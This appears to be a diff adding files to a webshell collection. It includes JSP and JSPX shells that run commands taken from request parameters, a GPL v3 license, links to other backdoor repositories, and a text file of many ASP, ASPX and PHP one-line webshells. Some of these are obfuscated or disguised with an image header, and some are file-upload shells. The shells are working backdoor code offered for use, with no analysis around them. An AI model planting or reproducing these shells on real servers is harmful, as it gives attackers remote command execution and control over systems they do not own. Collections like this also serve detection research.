+			String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
+			Process p = Runtime.getRuntime().exec(c);
+			MM(p.getInputStream(), sb);
+			MM(p.getErrorStream(), sb);
+		} else if (Z.equals("N")) {
+			NN(z1, sb);
+		} else if (Z.equals("O")) {
+			OO(z1, sb);
+		} else if (Z.equals("P")) {
+			PP(z1, sb);
+		} else if (Z.equals("Q")) {
+			QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
+		}
+	} catch (Exception e) {
+		sb.append("ERROR" + ":// " + e.toString());
+	}
+	sb.append("|" + "<-");
+	out.print(sb.toString());
+%>

jspx/jjw.jspx

@@ -0,0 +1,6 @@
+<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"  version="1.2"> 
+<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> 
+<jsp:scriptlet> 
+Runtime.getRuntime().exec(request.getParameter("i")); 
+</jsp:scriptlet> 
+</jsp:root>

jspx/jw.jspx

@@ -0,0 +1,15 @@
+<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"  version="1.2"> 
+<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> 
+<jsp:scriptlet> 
+    if("sin".equals(request.getParameter("pwd"))){ 
+        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); 
+        int a = -1; 
+        byte[] b = new byte[2048]; 
+        out.print("&lt;pre&gt;"); 
+        while((a=in.read(b))!=-1){ 
+            out.println(new String(b)); 
+        } 
+        out.print("&lt;/pre&gt;"); 
+    } 
+</jsp:scriptlet> 
+</jsp:root>

license

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    {one line to give the program's name and a brief idea of what it does.}
+    Copyright (C) {year}  {name of author}
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    {project}  Copyright (C) {year}  {fullname}
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.

other shell repository

@@ -1,2 +1,20 @@
 add other webshell collect repository
 url : https://github.com/tdifg/WebShell
+
+add public-shell repository
+url : https://github.com/BDLeet/public-shell
+
+add web-backdoor
+url : https://github.com/Ridter/Pentest/tree/master/backdoor
+
+add web-backdoors
+url : https://github.com/all3g/fuzzdb/tree/master/web-backdoors
+
+add web-shell
+url : https://github.com/BlackArch/webshells
+
+add webshellSample
+https://github.com/tanjiti/webshellSample
+
+add Ridter'Pentest backdoor tools
+https://github.com/Ridter/Pentest/tree/master/backdoor

other/small_shell.txt

@@ -0,0 +1,244 @@
+======================================================
+||                     ASP一句话                    ||
+======================================================
+----------------------------------------
+<%
+<!-- caidao setting input:<O>sb=eval(request(0))</O>,connecting pass:0 -->
+re= request("sb")
+if re <>"" then
+execute re
+response.end
+end if
+%>
+----------------------------------------
+<%Eval(Request(chr(112))):Set fso=CreateObject("Scripting.FileSystemObject"):Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")):if  f.attributes <> 39 then:f.attributes = 39:end if%>
+----------------------------------------
+<%   
+codeds="Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li"  
+execute (decode (codeds) )   
+Function DeCode (Coded)   
+    On Error Resume Next  
+    For i = 1 To Len (Coded)   
+        Curchar = Mid (Coded, i, 1)   
+        If Asc (Curchar) = 16 then   
+            Curchar = chr (8)   
+Elseif Asc (Curchar) = 24 then   
+            Curchar = chr (12)   
+Elseif Asc (Curchar) = 32 then   
+            Curchar = chr (18)   
+        Else    
+            Curchar = chr (Asc (Curchar) -3)   
+        End if   
+        DeCode = Decode&Curchar   
+    Next  
+End Function  
+'response.write(decode(codeds)) 
+' 菜刀连接 /hkmjj.asp?xx=x ,密码 hkmjj
+%>
+----------------------------------------
+<% 
+dim x1,x2 
+x1 = request("pass") 
+x2 = x1 
+eval x2 
+%>
+----------------------------------------
+<% 
+Function MorfiCoder(Code) 
+  MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf) 
+End Function 
+Execute MorfiCoder(")/*/z/*/(tseuqer lave") 
+%>
+Password: z
+----------------------------------------
+<%a=request("cmd")%><%eval a%>
+----------------------------------------
+<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("a"))%>
+----------------------------------------
+<%execute(request("xiaoma"))%>
+----------------------------------------
+1":eval request("a")'
+----------------------------------------
+"%><%eval request("a")%><%'" 
+----------------------------------------
+<%Y=request("x")%> <%execute(Y)%>
+----------------------------------------
+<%eval request("xiaoma")%>
+----------------------------------------
+┼癥污爠煥敵瑳∨≡┩愾  password: a
+----------------------------------------
+======================================================
+||                     ASPX一句话                   ||
+======================================================
+----------------------------------------
+<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>
+----------------------------------------
+<% @Page Language="Jscript"%><%eval(Request.Item["hucxsz"],"unsafe");%>
+----------------------------------------
+<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"])  ); }%>
+----------------------------------------
+<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>
+----------------------------------------
+<script type="text/javascript" language="C#">// <![CDATA[
+ WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10"); // ]]></script>
+Password: webadmin
+----------------------------------------
+<script runat="server" language="JScript"> 
+   function popup(str) { 
+  var q = "u"; 
+  var w = "afe"; 
+  var a = q + "ns" + w; 
+  var b= eval(str,a); 
+  return(b); 
+   } 
+</script>
+----------------------------------------
+<% 
+popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0=")))); 
+%>
+Password: z
+----------------------------------------
+<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["xiaoma"],"unsafe"));%>
+----------------------------------------
+<%@ Page Language="C#" ValidateRequest="false" %>
+<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["f4ck"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
+======================================================
+||                     PHP一句话                    ||
+======================================================
+----------------------------------------
+?JFIF 



+<?php @eval($_POST['caidao']);?>
+----------------------------------------
